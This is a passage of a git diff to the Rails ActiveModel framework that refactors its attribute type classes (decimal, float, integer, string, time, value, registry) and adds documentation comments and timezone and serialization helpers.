+            ::Date._parse(string)
+          rescue ArgumentError
+          end
+          return unless time_hash
+
           time_hash[:sec_fraction] = microseconds(time_hash)
 
           new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
         end
 
         def value_from_multiparameter_assignment(values_hash)
-          missing_parameter = (1..3).detect { |key| !values_hash.key?(key) }
-          if missing_parameter
-            raise ArgumentError, missing_parameter
+          missing_parameters = [1, 2, 3].delete_if { |key| values_hash.key?(key) }
+          unless missing_parameters.empty?
+            raise ArgumentError, "Provided hash #{values_hash} doesn't contain necessary keys: #{missing_parameters}"
           end
           super
         end
diff --git a/activemodel/lib/active_model/type/decimal.rb b/activemodel/lib/active_model/type/decimal.rb
index 541a12c8a1103..17ace13211b3b 100644
--- a/activemodel/lib/active_model/type/decimal.rb
+++ b/activemodel/lib/active_model/type/decimal.rb
@@ -1,8 +1,49 @@
+# frozen_string_literal: true
+
 require "bigdecimal/util"
 
 module ActiveModel
   module Type
-    class Decimal < Value # :nodoc:
+    # = Active Model \Decimal \Type
+    #
+    # Attribute type for decimal, high-precision floating point numeric
+    # representation. It is registered under the +:decimal+ key.
+    #
+    #   class BagOfCoffee
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :weight, :decimal
+    #   end
+    #
+    # Numeric instances are converted to BigDecimal instances. Any other objects
+    # are cast using their +to_d+ method, except for blank strings, which are
+    # cast to +nil+. If a +to_d+ method is not defined, the object is converted
+    # to a string using +to_s+, which is then cast using +to_d+.
+    #
+    #   bag = BagOfCoffee.new
+    #
+    #   bag.weight = 0.01
+    #   bag.weight # => 0.1e-1
+    #
+    #   bag.weight = "0.01"
+    #   bag.weight # => 0.1e-1
+    #
+    #   bag.weight = ""
+    #   bag.weight # => nil
+    #
+    #   bag.weight = :arbitrary
+    #   bag.weight # => nil (the result of `.to_s.to_d`)
+    #
+    # Decimal precision defaults to 18, and can be customized when declaring an
+    # attribute:
+    #
+    #   class BagOfCoffee
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :weight, :decimal, precision: 24
+    #   end
+    class Decimal < Value
+      include Helpers::Immutable
       include Helpers::Numeric
       BIGDECIMAL_PRECISION = 18
 
@@ -15,14 +56,19 @@ def type_cast_for_schema(value)
       end
 
       private
-
         def cast_value(value)
           casted_value = \
             case value
             when ::Float
               convert_float_to_big_decimal(value)
-            when ::Numeric, ::String
+            when ::Numeric
               BigDecimal(value, precision || BIGDECIMAL_PRECISION)
+            when ::String
+              begin
+                value.to_d
+              rescue ArgumentError
+                BigDecimal(0)
+              end
             else
               if value.respond_to?(:to_d)
                 value.to_d
diff --git a/activemodel/lib/active_model/type/float.rb b/activemodel/lib/active_model/type/float.rb
index 4d0d2771a0300..3c7c5c3faea7d 100644
--- a/activemodel/lib/active_model/type/float.rb
+++ b/activemodel/lib/active_model/type/float.rb
@@ -1,6 +1,40 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+
 module ActiveModel
   module Type
-    class Float < Value # :nodoc:
+    # = Active Model \Float \Type
+    #
+    # Attribute type for floating point numeric values. It is registered under
+    # the +:float+ key.
+    #
+    #   class BagOfCoffee
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :weight, :float
+    #   end
+    #
+    #   bag = BagOfCoffee.new
+    #
+    #   bag.weight = "0.25"
+    #   bag.weight # => 0.25
+    #
+    #   bag.weight = ""
+    #   bag.weight # => nil
+    #
+    #   bag.weight = "NaN"
+    #   bag.weight # => Float::NAN
+    #
+    # Values are cast using their +to_f+ method, except for the following
+    # strings:
+    #
+    # - Blank strings are cast to +nil+.
+    # - <tt>"Infinity"</tt> is cast to +Float::INFINITY+.
+    # - <tt>"-Infinity"</tt> is cast to <tt>-Float::INFINITY</tt>.
+    # - <tt>"NaN"</tt> is cast to +Float::NAN+.
+    class Float < Value
+      include Helpers::Immutable
       include Helpers::Numeric
 
       def type
@@ -16,10 +50,7 @@ def type_cast_for_schema(value)
         end
       end
 
-      alias serialize cast
-
       private
-
         def cast_value(value)
           case value
           when ::Float then value
diff --git a/activemodel/lib/active_model/type/helpers.rb b/activemodel/lib/active_model/type/helpers.rb
index 82cd9ebe98414..6bffa67b49daf 100644
--- a/activemodel/lib/active_model/type/helpers.rb
+++ b/activemodel/lib/active_model/type/helpers.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 require "active_model/type/helpers/accepts_multiparameter_time"
 require "active_model/type/helpers/numeric"
 require "active_model/type/helpers/mutable"
+require "active_model/type/helpers/immutable"
 require "active_model/type/helpers/time_value"
+require "active_model/type/helpers/timezone"
diff --git a/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb b/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb
index f783d286c53d6..0494907ad74b6 100644
--- a/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb
+++ b/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb
@@ -1,9 +1,19 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
     module Helpers # :nodoc: all
       class AcceptsMultiparameterTime < Module
-        def initialize(defaults: {})
-          define_method(:cast) do |value|
+        module InstanceMethods
+          def serialize(value)
+            serialize_cast_value(cast(value))
+          end
+
+          def serialize_cast_value(value)
+            value
+          end
+
+          def cast(value)
             if value.is_a?(Hash)
               value_from_multiparameter_assignment(value)
             else
@@ -11,7 +21,7 @@ def initialize(defaults: {})
             end
           end
 
-          define_method(:assert_valid_value) do |value|
+          def assert_valid_value(value)
             if value.is_a?(Hash)
               value_from_multiparameter_assignment(value)
             else
@@ -19,13 +29,21 @@ def initialize(defaults: {})
             end
           end
 
+          def value_constructed_by_mass_assignment?(value)
+            value.is_a?(Hash)
+          end
+        end
+
+        def initialize(defaults: {})
+          include InstanceMethods
+
           define_method(:value_from_multiparameter_assignment) do |values_hash|
             defaults.each do |k, v|
               values_hash[k] ||= v
             end
             return unless values_hash[1] && values_hash[2] && values_hash[3]
-            values = values_hash.sort.map(&:last)
-            ::Time.send(default_timezone, *values)
+            values = values_hash.sort.map!(&:last)
+            ::Time.public_send(default_timezone, *values)
           end
           private :value_from_multiparameter_assignment
         end
diff --git a/activemodel/lib/active_model/type/helpers/immutable.rb b/activemodel/lib/active_model/type/helpers/immutable.rb
new file mode 100644
index 0000000000000..0483868c86742
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers/immutable.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    module Helpers # :nodoc: all
+      module Immutable
+        def mutable? # :nodoc:
+          false
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/helpers/mutable.rb b/activemodel/lib/active_model/type/helpers/mutable.rb
index f3a17a1698357..ef1d8e1550094 100644
--- a/activemodel/lib/active_model/type/helpers/mutable.rb
+++ b/activemodel/lib/active_model/type/helpers/mutable.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
     module Helpers # :nodoc: all
@@ -12,6 +14,10 @@ def cast(value)
         def changed_in_place?(raw_old_value, new_value)
           raw_old_value != serialize(new_value)
         end
+
+        def mutable? # :nodoc:
+          true
+        end
       end
     end
   end
diff --git a/activemodel/lib/active_model/type/helpers/numeric.rb b/activemodel/lib/active_model/type/helpers/numeric.rb
index 275822b738e0c..6b3d2fb6f3f27 100644
--- a/activemodel/lib/active_model/type/helpers/numeric.rb
+++ b/activemodel/lib/active_model/type/helpers/numeric.rb
@@ -1,34 +1,60 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
     module Helpers # :nodoc: all
       module Numeric
+        def serialize(value)
+          cast(value)
+        end
+
+        def serialize_cast_value(value)
+          value
+        end
+
         def cast(value)
-          value = \
+          # Checks whether the value is numeric. Spaceship operator
+          # will return nil if value is not numeric.
+          value = if value <=> 0
+            value
+          else
             case value
             when true then 1
             when false then 0
-            when ::String then value.presence
-            else value
+            else value.presence
             end
+          end
+
           super(value)
         end
 
         def changed?(old_value, _new_value, new_value_before_type_cast) # :nodoc:
-          super || number_to_non_number?(old_value, new_value_before_type_cast)
+          (super || number_to_non_number?(old_value, new_value_before_type_cast)) &&
+            !equal_nan?(old_value, new_value_before_type_cast)
         end
 
         private
+          def equal_nan?(old_value, new_value)
+            (old_value.is_a?(::Float) || old_value.is_a?(BigDecimal)) &&
+              old_value.nan? &&
+              old_value.instance_of?(new_value.class) &&
+              new_value.nan?
+          end
 
           def number_to_non_number?(old_value, new_value_before_type_cast)
-            old_value != nil && non_numeric_string?(new_value_before_type_cast)
+            old_value != nil && !new_value_before_type_cast.is_a?(::Numeric) &&
+              non_numeric_string?(new_value_before_type_cast.to_s)
           end
 
           def non_numeric_string?(value)
             # 'wibble'.to_i will give zero, we want to make sure
             # that we aren't marking int zero to string zero as
             # changed.
-            value.to_s !~ /\A-?\d+\.?\d*\z/
+            !NUMERIC_REGEX.match?(value)
           end
+
+          NUMERIC_REGEX = /\A\s*[+-]?\d/
+          private_constant :NUMERIC_REGEX
       end
     end
   end
diff --git a/activemodel/lib/active_model/type/helpers/time_value.rb b/activemodel/lib/active_model/type/helpers/time_value.rb
index e57a52104b96d..6b6e304fcbf76 100644
--- a/activemodel/lib/active_model/type/helpers/time_value.rb
+++ b/activemodel/lib/active_model/type/helpers/time_value.rb
@@ -1,44 +1,42 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/zones"
 require "active_support/core_ext/time/zones"
 
 module ActiveModel
   module Type
     module Helpers # :nodoc: all
       module TimeValue
-        def serialize(value)
+        def serialize_cast_value(value)
           value = apply_seconds_precision(value)
 
           if value.acts_like?(:time)
-            zone_conversion_method = is_utc? ? :getutc : :getlocal
-
-            if value.respond_to?(zone_conversion_method)
-              value = value.send(zone_conversion_method)
+            if is_utc?
+              value = value.getutc if !value.utc?
+            else
+              value = value.getlocal
             end
           end
 
           value
         end
 
-        def is_utc?
-          ::Time.zone_default.nil? || ::Time.zone_default =~ "UTC"
-        end
+        def apply_seconds_precision(value)
+          return value unless precision && value.respond_to?(:nsec)
+
+          number_of_insignificant_digits = 9 - precision
+          round_power = 10**number_of_insignificant_digits
+          rounded_off_nsec = value.nsec % round_power
 
-        def default_timezone
-          if is_utc?
-            :utc
+          if rounded_off_nsec > 0
+            value.change(nsec: value.nsec - rounded_off_nsec)
           else
-            :local
+            value
           end
         end
 
-        def apply_seconds_precision(value)
-          return value unless precision && value.respond_to?(:usec)
-          number_of_insignificant_digits = 6 - precision
-          round_power = 10**number_of_insignificant_digits
-          value.change(usec: value.usec - value.usec % round_power)
-        end
-
         def type_cast_for_schema(value)
-          "'#{value.to_s(:db)}'"
+          value.to_fs(:db).inspect
         end
 
         def user_input_in_time_zone(value)
@@ -46,7 +44,6 @@ def user_input_in_time_zone(value)
         end
 
         private
-
           def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
             # Treat 0000-00-00 00:00:00 as nil.
             return if year.nil? || (year == 0 && mon == 0 && mday == 0)
@@ -55,20 +52,41 @@ def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
               time = ::Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
               return unless time
 
-              time -= offset
+              time -= offset unless offset == 0
               is_utc? ? time : time.getlocal
+            elsif is_utc?
+              ::Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
             else
-              ::Time.public_send(default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+              ::Time.local(year, mon, mday, hour, min, sec, microsec) rescue nil
             end
           end
 
-          ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
+          if Time.new(2000, 1, 1, 0, 0, 0, "-00:00").yday != 1 # Early 3.2.x had a bug
+            # BUG: Wrapping the Time object with Time.at because Time.new with `in:` in Ruby 3.2.0
+            # used to return an invalid Time object
+            # see: https://bugs.ruby-lang.org/issues/19292
+            def fast_string_to_time(string)
+              return unless string.include?("-") #  Time.new("1234") # => 1234-01-01 00:00:00
+
+              if is_utc?
+                ::Time.at(::Time.new(string, in: "UTC"))
+              else
+                ::Time.new(string)
+              end
+            rescue ArgumentError
+              nil
+            end
+          else
+            def fast_string_to_time(string)
+              return unless string.include?("-") #  Time.new("1234") # => 1234-01-01 00:00:00
 
-          # Doesn't handle time zones.
-          def fast_string_to_time(string)
-            if string =~ ISO_DATETIME
-              microsec = ($7.to_r * 1_000_000).to_i
-              new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
+              if is_utc?
+                ::Time.new(string, in: "UTC")
+              else
+                ::Time.new(string)
+              end
+            rescue ArgumentError
+              nil
             end
           end
       end
diff --git a/activemodel/lib/active_model/type/helpers/timezone.rb b/activemodel/lib/active_model/type/helpers/timezone.rb
new file mode 100644
index 0000000000000..c589e03300b76
--- /dev/null
+++ b/activemodel/lib/active_model/type/helpers/timezone.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/time/zones"
+
+module ActiveModel
+  module Type
+    module Helpers # :nodoc: all
+      module Timezone
+        def is_utc?
+          if default = ::Time.zone_default
+            default.name == "UTC"
+          else
+            true
+          end
+        end
+
+        def default_timezone
+          is_utc? ? :utc : :local
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/immutable_string.rb b/activemodel/lib/active_model/type/immutable_string.rb
index 58268540e5a42..0c28e7e52d47a 100644
--- a/activemodel/lib/active_model/type/immutable_string.rb
+++ b/activemodel/lib/active_model/type/immutable_string.rb
@@ -1,29 +1,72 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    class ImmutableString < Value # :nodoc:
+    # = Active Model \ImmutableString \Type
+    #
+    # Attribute type to represent immutable strings. It casts incoming values to
+    # frozen strings.
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :name, :immutable_string
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = 1
+    #
+    #   person.name # => "1"
+    #   person.name.frozen? # => true
+    #
+    # Values are coerced to strings using their +to_s+ method. Boolean values
+    # are treated differently, however: +true+ will be cast to <tt>"t"</tt> and
+    # +false+ will be cast to <tt>"f"</tt>. These strings can be customized when
+    # declaring an attribute:
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :active, :immutable_string, true: "aye", false: "nay"
+    #   end
+    #
+    #   person = Person.new
+    #   person.active = true
+    #
+    #   person.active # => "aye"
+    class ImmutableString < Value
+      include Helpers::Immutable
+
+      def initialize(**args)
+        @true  = -(args.delete(:true)&.to_s  || "t")
+        @false = -(args.delete(:false)&.to_s || "f")
+        super
+      end
+
       def type
         :string
       end
 
       def serialize(value)
         case value
-        when ::Numeric, ActiveSupport::Duration then value.to_s
-        when true then "t"
-        when false then "f"
+        when ::Numeric, ::Symbol, ActiveSupport::Duration then value.to_s
+        when true then @true
+        when false then @false
         else super
         end
       end
 
-      private
+      def serialize_cast_value(value) # :nodoc:
+        value
+      end
 
+      private
         def cast_value(value)
-          result = \
-            case value
-            when true then "t"
-            when false then "f"
-            else value.to_s
-            end
-          result.freeze
+          case value
+          when true then @true
+          when false then @false
+          else value.to_s.freeze
+          end
         end
     end
   end
diff --git a/activemodel/lib/active_model/type/integer.rb b/activemodel/lib/active_model/type/integer.rb
index 106b5d966c706..980fdb79802ac 100644
--- a/activemodel/lib/active_model/type/integer.rb
+++ b/activemodel/lib/active_model/type/integer.rb
@@ -1,15 +1,58 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    class Integer < Value # :nodoc:
+    # = Active Model \Integer \Type
+    #
+    # Attribute type for integer representation. This type is registered under
+    # the +:integer+ key.
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :age, :integer
+    #   end
+    #
+    # Values are cast using their +to_i+ method, except for blank strings, which
+    # are cast to +nil+. If a +to_i+ method is not defined or raises an error,
+    # the value will be cast to +nil+.
+    #
+    #   person = Person.new
+    #
+    #   person.age = "18"
+    #   person.age # => 18
+    #
+    #   person.age = ""
+    #   person.age # => nil
+    #
+    #   person.age = :not_an_integer
+    #   person.age # => nil (because Symbol does not define #to_i)
+    #
+    # Serialization also works under the same principle. Non-numeric strings are
+    # serialized as +nil+, for example.
+    #
+    # Serialization also validates that the integer can be stored using a
+    # limited number of bytes. If it cannot, an ActiveModel::RangeError will be
+    # raised. The default limit is 4 bytes, and can be customized when declaring
+    # an attribute:
+    #
+    #   class Person
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :age, :integer, limit: 6
+    #   end
+    class Integer < Value
+      include Helpers::Immutable
       include Helpers::Numeric
 
       # Column storage size in bytes.
-      # 4 bytes means a MySQL int or Postgres integer as opposed to smallint etc.
+      # 4 bytes means an integer as opposed to smallint etc.
       DEFAULT_LIMIT = 4
 
-      def initialize(*)
+      def initialize(**)
         super
-        @range = min_value...max_value
+        @max = max_value
+        @min = min_value
       end
 
       def type
@@ -17,39 +60,53 @@ def type
       end
 
       def deserialize(value)
-        return if value.nil?
+        return if value.blank?
         value.to_i
       end
 
       def serialize(value)
-        result = cast(value)
-        if result
-          ensure_in_range(result)
+        case value
+        when ::Integer
+          # noop
+        when ::String
+          int = value.to_i
+          if int.zero? && value != "0"
+            return if non_numeric_string?(value)
+          end
+          value = int
+        else
+          value = super
+        end
+
+        if out_of_range?(value)
+          raise ActiveModel::RangeError, "#{value} is out of range for #{self.class} with limit #{_limit} bytes"
         end
-        result
+
+        value
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      def serialize_cast_value(value) # :nodoc:
+        if out_of_range?(value)
+          raise ActiveModel::RangeError, "#{value} is out of range for #{self.class} with limit #{_limit} bytes"
+        end
+
+        value
+      end
 
-        attr_reader :range
+      def serializable?(value)
+        cast_value = cast(value)
+        return true unless out_of_range?(cast_value)
+        yield cast_value if block_given?
+        false
+      end
 
       private
-
-        def cast_value(value)
-          case value
-          when true then 1
-          when false then 0
-          else
-            value.to_i rescue nil
-          end
+        def out_of_range?(value)
+          value && (@max <= value || @min > value)
         end
 
-        def ensure_in_range(value)
-          unless range.cover?(value)
-            raise ActiveModel::RangeError, "#{value} is out of range for #{self.class} with limit #{_limit} bytes"
-          end
+        def cast_value(value)
+          value.to_i rescue nil
         end
 
         def max_value
diff --git a/activemodel/lib/active_model/type/registry.rb b/activemodel/lib/active_model/type/registry.rb
index 2d5dd366eb180..6ce502018d2f5 100644
--- a/activemodel/lib/active_model/type/registry.rb
+++ b/activemodel/lib/active_model/type/registry.rb
@@ -1,68 +1,37 @@
+# frozen_string_literal: true
+
 module ActiveModel
-  # :stopdoc:
   module Type
-    class Registry
+    class Registry # :nodoc:
       def initialize
-        @registrations = []
+        @registrations = {}
       end
 
-      def register(type_name, klass = nil, **options, &block)
-        block ||= proc { |_, *args| klass.new(*args) }
-        registrations << registration_klass.new(type_name, block, **options)
+      def initialize_copy(other)
+        @registrations = @registrations.dup
+        super
       end
 
-      def lookup(symbol, *args)
-        registration = find_registration(symbol, *args)
-
-        if registration
-          registration.call(self, symbol, *args)
-        else
-          raise ArgumentError, "Unknown type #{symbol.inspect}"
+      def register(type_name, klass = nil, &block)
+        unless block_given?
+          block = proc { |_, *args| klass.new(*args) }
+          block.ruby2_keywords if block.respond_to?(:ruby2_keywords)
         end
+        registrations[type_name] = block
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :registrations
-
-      private
+      def lookup(symbol, ...)
+        registration = registrations[symbol]
 
-        def registration_klass
-          Registration
-        end
-
-        def find_registration(symbol, *args)
-          registrations.find { |r| r.matches?(symbol, *args) }
-        end
-    end
-
-    class Registration
-      # Options must be taken because of https://bugs.ruby-lang.org/issues/10856
-      def initialize(name, block, **)
-        @name = name
-        @block = block
-      end
-
-      def call(_registry, *args, **kwargs)
-        if kwargs.any? # https://bugs.ruby-lang.org/issues/10856
-          block.call(*args, **kwargs)
+        if registration
+          registration.call(symbol, ...)
         else
-          block.call(*args)
+          raise ArgumentError, "Unknown type #{symbol.inspect}"
         end
       end
 
-      def matches?(type_name, *args, **kwargs)
-        type_name == name
-      end
-
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :name, :block
+      private
+        attr_reader :registrations
     end
   end
-  # :startdoc:
 end
diff --git a/activemodel/lib/active_model/type/serialize_cast_value.rb b/activemodel/lib/active_model/type/serialize_cast_value.rb
new file mode 100644
index 0000000000000..ec30fb1fa2827
--- /dev/null
+++ b/activemodel/lib/active_model/type/serialize_cast_value.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    module SerializeCastValue # :nodoc:
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        def serialize_cast_value_compatible?
+          return @serialize_cast_value_compatible if defined?(@serialize_cast_value_compatible)
+          @serialize_cast_value_compatible = ancestors.index(instance_method(:serialize_cast_value).owner) <= ancestors.index(instance_method(:serialize).owner)
+        end
+      end
+
+      module DefaultImplementation
+        def serialize_cast_value(value)
+          value
+        end
+      end
+
+      def self.included(klass)
+        klass.include DefaultImplementation unless klass.method_defined?(:serialize_cast_value)
+      end
+
+      def self.serialize(type, value)
+        # Using `type.equal?(type.itself_if_...)` is a performant way to also
+        # ensure that `type` is not just a DelegateClass instance (e.g.
+        # ActiveRecord::Type::Serialized) unintentionally delegating
+        # SerializeCastValue methods.
+        if type.equal?((type.itself_if_serialize_cast_value_compatible rescue nil))
+          type.serialize_cast_value(value)
+        else
+          type.serialize(value)
+        end
+      end
+
+      def itself_if_serialize_cast_value_compatible
+        self if self.class.serialize_cast_value_compatible?
+      end
+
+      def initialize(...)
+        super
+        self.class.serialize_cast_value_compatible? # eagerly compute
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/string.rb b/activemodel/lib/active_model/type/string.rb
index c7e0208a5a440..b23d876ae62dc 100644
--- a/activemodel/lib/active_model/type/string.rb
+++ b/activemodel/lib/active_model/type/string.rb
@@ -1,18 +1,46 @@
+# frozen_string_literal: true
+
 require "active_model/type/immutable_string"
 
 module ActiveModel
   module Type
-    class String < ImmutableString # :nodoc:
+    # = Active Model \String \Type
+    #
+    # Attribute type for strings. It is registered under the +:string+ key.
+    #
+    # This class is a specialization of ActiveModel::Type::ImmutableString. It
+    # performs coercion in the same way, and can be configured in the same way.
+    # However, it accounts for mutable strings, so dirty tracking can properly
+    # check if a string has changed.
+    class String < ImmutableString
       def changed_in_place?(raw_old_value, new_value)
         if new_value.is_a?(::String)
           raw_old_value != new_value
         end
       end
 
-      private
+      def mutable? # :nodoc:
+        true
+      end
 
+      def to_immutable_string
+        ImmutableString.new(
+          true: @true,
+          false: @false,
+          limit: limit,
+          precision: precision,
+          scale: scale,
+        )
+      end
+
+      private
         def cast_value(value)
-          ::String.new(super)
+          case value
+          when ::String then ::String.new(value)
+          when true then @true
+          when false then @false
+          else value.to_s
+          end
         end
     end
   end
diff --git a/activemodel/lib/active_model/type/time.rb b/activemodel/lib/active_model/type/time.rb
index 54d6214e8199d..8a80f9d14493a 100644
--- a/activemodel/lib/active_model/type/time.rb
+++ b/activemodel/lib/active_model/type/time.rb
@@ -1,10 +1,46 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
-    class Time < Value # :nodoc:
-      include Helpers::TimeValue
+    # = Active Model \Time \Type
+    #
+    # Attribute type for time of day representation. It is registered under the
+    # +:time+ key.
+    #
+    #   class Event
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :start, :time
+    #   end
+    #
+    # String values are parsed using the ISO 8601 datetime format, but are
+    # normalized to have a date of 2000-01-01 and be in the UTC time zone.
+    #
+    #   event = Event.new
+    #   event.start = "2004-10-25T01:23:45-06:00"
+    #
+    #   event.start.class # => Time
+    #   event.start       # => 2000-01-01 07:23:45 UTC
+    #
+    # Partial time-only formats are also accepted.
+    #
+    #   event.start = "00:01:02+03:00"
+    #   event.start # => 1999-12-31 21:01:02 UTC
+    #
+    # The degree of sub-second precision can be customized when declaring an
+    # attribute:
+    #
+    #   class Event
+    #     include ActiveModel::Attributes
+    #
+    #     attribute :start, :time, precision: 4
+    #   end
+    class Time < Value
+      include Helpers::Timezone
       include Helpers::AcceptsMultiparameterTime.new(
-        defaults: { 1 => 1970, 2 => 1, 3 => 1, 4 => 0, 5 => 0 }
+        defaults: { 1 => 2000, 2 => 1, 3 => 1, 4 => 0, 5 => 0 }
       )
+      include Helpers::TimeValue
 
       def type
         :time
@@ -16,6 +52,12 @@ def user_input_in_time_zone(value)
         case value
         when ::String
           value = "2000-01-01 #{value}"
+          time_hash = begin
+            ::Date._parse(value)
+          rescue ArgumentError
+          end
+
+          return if time_hash.nil? || time_hash[:hour].nil?
         when ::Time
           value = value.change(year: 2000, day: 1, month: 1)
         end
@@ -24,20 +66,19 @@ def user_input_in_time_zone(value)
       end
 
       private
-
         def cast_value(value)
-          return value unless value.is_a?(::String)
-          return if value.empty?
+          return apply_seconds_precision(value) unless value.is_a?(::String)
+          return if value.blank?
 
-          if value.start_with?("2000-01-01")
-            dummy_time_value = value
-          else
-            dummy_time_value = "2000-01-01 #{value}"
-          end
+          dummy_time_value = value.sub(/\A\d{4}-\d\d-\d\d(?:T|\s)|/, "2000-01-01 ")
 
           fast_string_to_time(dummy_time_value) || begin
-            time_hash = ::Date._parse(dummy_time_value)
-            return if time_hash[:hour].nil?
+            time_hash = begin
+              ::Date._parse(dummy_time_value)
+            rescue ArgumentError
+            end
+
+            return if time_hash.nil? || time_hash[:hour].nil?
             new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
           end
         end
diff --git a/activemodel/lib/active_model/type/value.rb b/activemodel/lib/active_model/type/value.rb
index 7e9ae92245c31..f0581ed5738ef 100644
--- a/activemodel/lib/active_model/type/value.rb
+++ b/activemodel/lib/active_model/type/value.rb
@@ -1,15 +1,37 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Type
+    # = Active Model \Value \Type
+    #
+    # The base class for all attribute types. This class also serves as the
+    # default type for attributes that do not specify a type.
     class Value
+      include SerializeCastValue
       attr_reader :precision, :scale, :limit
 
+      # Initializes a type with three basic configuration settings: precision,
+      # limit, and scale. The Value base class does not define behavior for
+      # these settings. It uses them for equality comparison and hash key
+      # generation only.
       def initialize(precision: nil, limit: nil, scale: nil)
+        super()
         @precision = precision
         @scale = scale
         @limit = limit
       end
 
-      def type # :nodoc:
+      # Returns true if this type can convert +value+ to a type that is usable
+      # by the database.  For example a boolean type can return +true+ if the
+      # value parameter is a Ruby boolean, but may return +false+ if the value
+      # parameter is some other object.
+      def serializable?(value, &)
+        true
+      end
+
+      # Returns the unique type name as a Symbol. Subclasses should override
+      # this method.
+      def type
       end
 
       # Converts a value from database input to the appropriate ruby type. The
@@ -84,8 +106,16 @@ def changed_in_place?(raw_old_value, new_value)
         false
       end
 
-      def map(value) # :nodoc:
-        yield value
+      def value_constructed_by_mass_assignment?(_value) # :nodoc:
+        false
+      end
+
+      def force_equality?(_value) # :nodoc:
+        false
+      end
+
+      def map(value, &) # :nodoc:
+        value
       end
 
       def ==(other)
@@ -100,11 +130,22 @@ def hash
         [self.class, precision, scale, limit].hash
       end
 
-      def assert_valid_value(*)
+      def assert_valid_value(_)
       end
 
-      private
+      def serialized? # :nodoc:
+        false
+      end
 
+      def mutable? # :nodoc:
+        true
+      end
+
+      def as_json(*)
+        raise NoMethodError
+      end
+
+      private
         # Convenience method for types which do not need separate type casting
         # behavior for user and database inputs. Called by Value#cast for
         # values except +nil+.
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index d460068830972..f5506703396a8 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -1,9 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/hash/keys"
-require "active_support/core_ext/hash/except"
 
 module ActiveModel
-  # == Active \Model \Validations
+  # = Active \Model \Validations
   #
   # Provides a full validation framework to your objects.
   #
@@ -15,7 +15,7 @@ module ActiveModel
   #     attr_accessor :first_name, :last_name
   #
   #     validates_each :first_name, :last_name do |record, attr, value|
-  #       record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+  #       record.errors.add attr, "starts with z." if value.start_with?("z")
   #     end
   #   end
   #
@@ -31,8 +31,8 @@ module ActiveModel
   #   person.invalid?                 # => true
   #   person.errors.messages          # => {first_name:["starts with z."]}
   #
-  # Note that <tt>ActiveModel::Validations</tt> automatically adds an +errors+
-  # method to your instances initialized with a new <tt>ActiveModel::Errors</tt>
+  # Note that +ActiveModel::Validations+ automatically adds an +errors+
+  # method to your instances initialized with a new ActiveModel::Errors
   # object, so there is no need for you to do this manually.
   module Validations
     extend ActiveSupport::Concern
@@ -45,12 +45,9 @@ module Validations
       extend  HelperMethods
       include HelperMethods
 
-      attr_accessor :validation_context
-      private :validation_context=
       define_callbacks :validate, scope: :name
 
-      class_attribute :_validators, instance_writer: false
-      self._validators = Hash.new { |h, k| h[k] = [] }
+      class_attribute :_validators, instance_writer: false, default: Hash.new { |h, k| h[k] = [] }
     end
 
     module ClassMethods
@@ -62,32 +59,42 @@ module ClassMethods
       #     attr_accessor :first_name, :last_name
       #
       #     validates_each :first_name, :last_name, allow_blank: true do |record, attr, value|
-      #       record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+      #       record.errors.add attr, "starts with z." if value.start_with?("z")
       #     end
       #   end
       #
-      # Options:
+      # ==== Options
+      #
